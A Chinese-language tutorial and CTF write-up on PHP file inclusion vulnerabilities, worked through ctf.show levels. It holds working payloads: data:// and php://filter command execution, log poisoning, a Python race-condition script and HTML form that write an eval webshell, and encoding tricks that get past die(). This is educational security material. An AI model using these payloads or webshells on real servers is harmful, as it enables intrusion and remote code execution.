目录
1. 前置路径拼接:include('x/'.$file);
2. 后缀拼接:include($file . 'php');
8.5 web入门82-86 关(条件竞争,CTF-show凌晨11点半后才开放,后续有空补充把)
一、什么是文件包含
文件包含是软件开发的一种代码复用的常见手段,通过包含某个代码段文件,来引用其内部函数。
比如,实现过滤功能,每个需要过滤的地方,都进行一次过滤的编写;
这时候可以通过把过滤代码独立写在一个文件,然后每个需要过滤的地方,只需进行一次文件包含调用过滤函数就可以了;
PHP文件包含函数:include、require、include_once、require_once
include在包含过程如果出现错误,会跑出警告,但继续执行
require在出现错误,则直接报错并退出程序
JAVA文件包含函数:java.io.File、java.io.FileReader等
ASP.NET文件包含函数:System.IO.FileStream、System.IO.StreamReader等
二、文件包含漏洞原理
简单来说,在文件包含过程中,如果文件能进行控制,就可能产生文件包含漏洞。漏洞成因是因为代码过滤和环境配置开关决定的。例如,一个图片展示功能,根据用户传入的参数来包含不同的图片文件,如果用户输入的参数不是预期的图片文件名,而是一个恶意构造的路径,就可能导致文件包含漏洞。
黑盒分析中,常见url参数有path、dir、file、pag、page、archive、p、eng等相关字眼
三、本地文件包含(LFI)
从字面意思不难看出这两个词的含义,包含本地服务器上的文件,无特殊配置要求,主要是在处理用户输入的文件路径时,没有对其进行严格的验证和过滤,允许用户指定本地服务器上的任意文件路径,从而导致可以包含服务器上的其他本地文件。
如攻击者可以通过构造特殊的文件路径,如../../etc/passwd
(在 Linux 系统中)来读取系统的敏感文件,获取用户信息、数据库配置等。
如果包含的文件是可执行的脚本文件,且服务器配置允许执行,攻击者可以上传包含恶意代码的文件到服务器,然后通过本地文件包含漏洞来执行该恶意代码。
危害程度:可读取敏感文件、执行本地恶意脚本,危害相对局限于本地服务器
四、远程包含(RFI)
服务器配置允许包含远程服务器上的文件,如PHP 配置中allow_url_fopen
和allow_url_include
选项被开启,允许从远程 URL 打开文件和包含远程文件。并且程序在处理用户输入的文件路径时,没有对输入进行严格的验证和过滤,攻击者可以指定一个远程服务器上的恶意文件路径,使服务器包含并执行该远程文件。
如攻击者在自己控制的服务器上放置包含恶意代码的文件,然后通过构造 URL 让目标服务器包含该远程文件,从而在目标服务器上执行恶意代码,如获取服务器权限、篡改数据等。
危害程度:可直接执行远程恶意代码,危害范围更广,可能导致服务器被完全控制
五:伪协议
5.1 伪协议的本质
伪协议(Pseudo-Protocols)是 PHP 等语言提供的特殊协议,允许通过流(Stream)的方式访问输入/输出资源。常见的伪协议包括:
-
php://filter
:用于读取文件内容并进行编码(如 Base64)。 -
php://input
:直接访问 HTTP 请求的原始输入数据。 -
data://
:将数据内联(Inline)作为文件内容处理。 -
phar://
:访问 PHAR 归档中的文件(可能触发反序列化漏洞)。
前置/后置路径拼接问题
即include('x/'.$file); 或者 include($file.'php')
1. 前置路径拼接:include('x/'.$file);
include('x/' . $_GET['file']);
Payload构造:
?file=data://text/plain,<?php system('ls');?>
实际包含路径:
x/data://text/plain,<?php system('ls');?>
结果:
-
伪协议失效:PHP会将
x/data://text/plain...
视为文件路径(而非协议流),尝试包含x/
目录下的文件data://text/plain...
,由于文件不存在,包含失败。 -
关键原因:伪协议(如
data://
、php://
)需作为完整URI使用,前置路径(如x/
)破坏了协议格式。
2. 后缀拼接:include($file . 'php');
include($_GET['file'] . 'php');
Payload构造:
?file=data://text/plain,<?php system('ls');?>
实际包含路径:
data://text/plain,<?php system('ls');?>php
结果:
-
代码执行成功:PHP会解析
data://
协议中的数据流<?php system('ls');?>php
。 -
执行逻辑:
-
<?php system('ls');?>
被解析为PHP代码并执行。 -
闭合标签
?>
后的php
被视为普通文本输出到页面。
-
-
关键原因:
data://
协议允许任意内容注入,PHP引擎会解析到第一个?>
为止,后续内容作为普通文本输出。
5.2 常见的伪协议及语言支持
协议 | PHP | Java | .NET (C#) | Go | Perl | cURL | 备注 |
---|---|---|---|---|---|---|---|
php:// |
✓ | ✗ | ✗ | ✗ | ✗ | ✗ | PHP 特有协议,其他语言原生不支持。 |
data:// |
✓ | △ | △ | △ | △ | ✓ | - PHP 默认支持。 - Java/.NET/Go/Perl 需手动解析或依赖第三方库。 - cURL 支持 data: URI(如 curl data:text/plain,Hello )。 |
phar:// |
✓ | ✗ | ✗ | ✗ | ✗ | ✗ | PHP 特有协议(处理 PHAR 归档文件)。 |
file:// |
✓ | ✓ | ✓ | ✓ | ✓ | ✓ | 通用本地文件协议,所有语言均支持。 |
http:// |
✓ | ✓ | ✓ | ✓ | ✓ | ✓ | 需网络权限,PHP 需开启 allow_url_fopen 。 |
https:// |
✓ | ✓ | ✓ | ✓ | ✓ | ✓ | 同上,且需 SSL/TLS 支持。 |
ftp:// |
✓ | ✓ | ✓ | ✓ | ✓ | ✓ | PHP 需开启 allow_url_fopen ;Java/.NET 需额外库支持完整功能。 |
zip:// |
✓ | △ | △ | △ | △ | ✗ | - PHP 原生支持。 - Java/.NET/Go/Perl 需使用压缩库(如 java.util.zip )。- cURL 不支持直接解析 ZIP 归档。 |
s3:// |
△ | △ | △ | △ | △ | △ | 所有语言均需依赖 AWS SDK 或第三方库(如 PHP 的 aws/aws-sdk-php )。 |
六、文件包含攻击思路
1.配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,图片代码被触发;(有上传文件的地方,上传有后门的文件)
2.配合日志文件进行getshell,日志会记录访问UA信息,修改UA信息为后门代码,包含即执行后门代码;(日志文件通过UA信息植入后门代码)
3.配合会话文件进行getshell;
4.支持伪协议利用
七、第三方简单测试网站
测试URL:http://testphp.vulnweb.com/showimage.php?file=showimage.php&size=160
先演示,直接打开
访问利用burp抓包,这是返回了当前页面showimage.php的代码
而一般网站首页命名是index,我们尝试包含一下,让他返回的就是index的代码
从上图返回index代码中看到有一个数据库连接文件database_connect.php,尝试包含他
可以看到返回了数据库连接的源码,这就是最基础的文件包含漏洞,因为人家的目的只是简单演示漏洞,其他东西是做了过滤和配置的,所以不深究。
而在这个简单演示中,file参数存在文件包含漏洞,他接收用户传入的文件名用于返回数据,并允许用户包含其他的文件
八、文件包含CTFSHOW案例
参考文章:
https://segmentfault.com/a/1190000018991087
Ctfshow Web入门 - 文件包含总结 - ch0bits - 博客园
php常见伪协议
1. php://filter 主要用于读取源码
2. php://input 经常使用file_get_contents获取php://input内容
3. data:// 执行命令
4. file:// 访问本地文件系统
解题方法不唯一,可以根据自己思路组合伪协议或其他方法
8.1 web入门78关
从题目代码上看,这里使用了include文件包含 ,并且从GET获取file参数,没有任何过滤,参数可控,下面直接抓包构造,使用伪协议data://text/plain查看他的目录文件
payload:?file=data://text/plain,<?php system('ls')?>
可以看到flag文件在当今目录,使用伪协议去读取该文件
payload:?file=data://text/plain,<?php system('tac flag.php')?>
8.2 web入门79关
和78关差不多,但是将php关键字过滤成???
绕过方法很简单,同样使用data://伪协议,但是使用base64对恶意代码进行加密
payload构造:
data://text/plain;base64,加密后的恶意代码
使用base64加解密payload需要现将<?php system('tac flag.php')?>加密为base64
得到payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs=
8.3 web入门80关
这关把php,data过滤了,所以伪协议php://和data://就不能使用了
是file,zip等协议是加绝对路径的,也用不了
尝试使用http让他远程包含,我在我自己的服务上创建了一个1.txt并写一个phpinfo的代码来验证是否能远程包含
可以看到是运行文件包含的
在1.php中构造恶意代码让他包含
可以看到flag文件fl0g.php
继续修改1.php来获取flag
拿到flag
8.4 web入门81关
把冒号也给过滤了,其实就是针对伪协议
回顾往期文件上传中利用日志文件绕过,从User-Agent写入恶意代码,然后包含日志文件,通过抓包的响应里可以看到是nginx
Linux的NGINX日志默认路径:/var/log/nginx/access.log
尝试包含日志文件是可以的
通过抓包,写入恶意代码再去包含
读取fl0g.php ,注意这里需要发两次包,一次是写入恶意代码,第二次是包含上一次写入了读取flag恶意代码的日志文件,第二次直接包含日志文件就可以
8.5 web入门82-86 关(条件竞争,CTF-show凌晨11点半后才开放,后续有空补充把)
参考文章:利用session.upload_progress进行文件包含-CSDN博客
##前置知识##
PHP_SESSION_UPLOAD_PROGRESS
机制在 PHP 中,当进行文件上传时,如果在表单中设置了一个特定的
input
字段(默认名为PHP_SESSION_UPLOAD_PROGRESS
),PHP 会在会话(session)中记录文件上传的进度信息。这些信息存储在服务器端的临时文件中,文件名通常遵循/tmp/sess_<session_id>
的格式。而通过PHPSESSID可以控制命名,如Cookie: PHPSESSID=ctf,则文件名为sess_ctf
session.upload_progress.cleanup
机制
session.upload_progress.cleanup
是 PHP 中控制上传进度信息清理行为的一个配置项。当它开启(默认值为On
)时,一旦 PHP 读取完所有的 POST 数据,就会自动清除与该上传相关的进度信息,也就是会删除存储在会话文件中的上传进度数据。
通过下面代码可以在本地查看效果,当上传文件会产生一个sess_xxx格式的临时文件
<!DOCTYPE html>
<html>
<body>
<form action="http://目标地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
由于session.upload_progress.cleanup
机制,所以要利用条件竞争,在删除之前写入新的文件
使用burp的思路:
1.访问上面html抓包,然后burp爆破一直发包(value可以使用<?php system('cat *')?>让他直接读取所以文件内容)
2.访问工具目标抓包,然后文件包含sess_xxx,知道成功包含并被执行,就会创建一个shell.php,后续只有包含这个shell.php就可以执行代码了
或者使用python自动化脚本:
import io
import sys
import requests
import threading
sessid = 'Qftm'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/?file=/tmp/sess_{sessid}')
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
8.6 web入门87关
8.6.1 base64编码绕过
从代码看两个重要参数file、content
这道题关键代码主要是看file_put_contents,可以看到做了一个文件名url解码操作,但是写入的内容是die+$content,如果写进文件并被执行,那不就是输出 “大佬别秀了”
就停止执行。哪还有后面什么事,content写什么都没有用呀。
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
所以重点是绕过die,那要怎么才能绕过呢,编码解码,在绕过die之前还要解决一个问题,那就是绕过过滤的php、data等问题
其实题目是给了我们提示的,url编码,要注意在file_put_contents中也进行了一次解码,浏览器本身就会执行一次解码,所以要进行2次URL编码,一次用于浏览器解码,一次用于函数解码最终还原file
再次回到绕过die的问题,我们都知道解释器是通过标签关键字来识别代码解释的,那我们将死亡代码解码成乱码,使得php引擎无法识别。
像这样werw <?php phphinfo();?>,并不会影响后面php标签的代码执行
可以看到<?php die('大佬别秀了');?>是和content字符串连接组合,也就是说最后会被一起编码或者解码。明白这一点很重要。这里用到php://filterl来解题,我们把content的恶意代码进行base64编码,然后php://filter/convert.base64-decode/resource=1.php解码并指定资源为1.php。也就符合我们上面说的
首先我们把恶意代码编码得到 PD89IHN5c3RlbSgnbHMnKTs/Pg==
##了解##
Base64 编码以 3 字节(24 位)为一组进行处理,每组会被编码成 4 个 Base64 字符。若原始数据字节数不是 3 的整数倍,需要用
=
进行填充:
- 若剩余 1 个字节(8 位),编码结果后补两个
=
。- 若剩余 2 个字节(16 位),编码结果后补一个
=
。
这段字符会与<?php die('大佬别秀了');?>拼接并被filter一起解码,但是Base64 编码字符集(A - Z
、a - z
、0 - 9
、+
、/
、=
),也就是说只有phpdie参与解码,但base64是4个一组的,所以要补2位Base64 编码字符,最后“aхb{锞钧锞钧鏈<?= system('ls');?>”被写进file
解题步骤:
1.对php://filter/convert.base64-decode/resource=1.php进行两次url加密
二次编码得到
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30
2.访问时post给参数content传入base64加密后的恶意代码,并加上两个补位得到aaPD89IHN5c3RlbSgnbHMnKTs/Pg==
发送请求
3.访问写入的1.php
重复1、2步骤,写入<?= system('tac fl0g.php')?>
PD89IHN5c3RlbSgndGFjIGZsMGcucGhwJyk/Pg==
8.6.2 rot13 编码绕过
原理思路和base64一样,可以直接转码分解死亡代码;这里不再多说;直接看如下实验结果即可;
rot编码工具:ROT13加密/解密 - ROT13编码/解码—LZL在线工具
进行两次URL编码:file=php://filter/write=string.rot13/resource=hello2.php
concent=<?cuc cucvasb();?>
死亡代码<?php die('大佬别秀了');?>已经被解码为<?cuc qvr('大佬别秀了');?>
rot工具这部分是贴的其他博主的,因为我已经关闭了,他说到了一个问题:如果服务器开启了可以使用短标签那么服务器就会解析该短标签了, 我们的payload就不会被执行了,因为解释器不认的这些代码报错了, 就不能使用这种方法了 因为该解码方式不会解码<?等符号 并且会原封不动的写入到文件中
我这里说一下,可能有些同学学的php版本是5.4之后的,所看到的短标签是<?= ?>,但旧版本是<??>,同时新版也可以手动通过php.ini的short_open_tag
配置项开启支持。同时<?
也是 XML 文档中的起始标签标志。我认为的话这类可能性应该不大。
8.7 web入门88关
这题过滤了很多符号和php。但是没有过滤冒号,斜杆,分号,逗号和其他伪协议,这里用data做,但是恶意代码要加密,因为过滤了括号那些
着重看过滤的+和=,这两个是base64编码字符集,base64编码也经常以这两个字符结尾,但是在后面用1混淆就可以,得到PD89IHN5c3RlbSgndGFjIGZsMGcucGhwJyk/PjEx
直接用8.2的方法就行?file=data://text/plain;base64,
构造payload:?file=data://text/plain;base64, PD89IHN5c3RlbSgndGFjIGZsMGcucGhwJyk/PjEx
因为类似,这里直接获取flag了,就不弄ls查目录
88. web入门116关(杂项)
进去是一个视频,下载视频 使用010打开 搜索各种文件的标头标识 发现 存在PNG文件
89 50 4E 47 0D 0A 1A 0A
PNG图片以IEND结尾 复制粘贴到新建十六进制文件 另存1.PNG
打开图片后
源码文件的意思就是读取一个文件 输出到浏览器中 ,并且过滤完整
直接读取flag.php
因为不能看源码,去network看下包返回了什么,结果看到返回了一段base64的编码,额....解码得到了flag
8.9 web入门117关
和87题相似,绕过die,但是过滤了base64和rot13,但是可以使用其他过滤器
##前置知识##
convert.iconv
是 PHP 中php://filter
伪协议所支持的一个过滤器,主要用于字符编码的转换,如 UTF - 8、GBK、ISO - 8859 - 1 等。当需要在不同编码之间进行转换时,convert.iconv
过滤器就可以发挥作用。它借助 PHP 的iconv
函数来实现字符编码的转换,能确保数据在不同编码环境下正确显示和处理。基本语法:php://filter/convert.iconv.<from_encoding>.<to_encoding>/resource=<filename>
<from_encoding>
:表示原始数据的字符编码,例如UTF - 8
、GBK
等。<to_encoding>
:表示要转换到的目标字符编码。<filename>
:表示要进行编码转换的文件路径或资源。示例代码
假设你有一个以 GBK 编码保存的文本文件
gbk_file.txt
,现在需要将其内容转换为 UTF - 8 编码并输出,可使用以下代码:<?php // 使用 convert.iconv 过滤器将 GBK 编码的文件内容转换为 UTF - 8 编码 $content = file_get_contents('php://filter/convert.iconv.GBK.UTF-8/resource=gbk_file.txt'); echo $content; ?>
使用脚步生成要content传入的恶意代码
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
浏览器直接看不了的,需要查看页面源码
构造payload: php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
content: ?<hp pvela$(P_SO[T]a;)>?
访问a.php执行代码
获取flag
参考文章:
文章 - file_put_content和死亡·杂糅代码之缘 - 先知社区
ctfshow-文件包含_ctfshow 文件包含-CSDN博客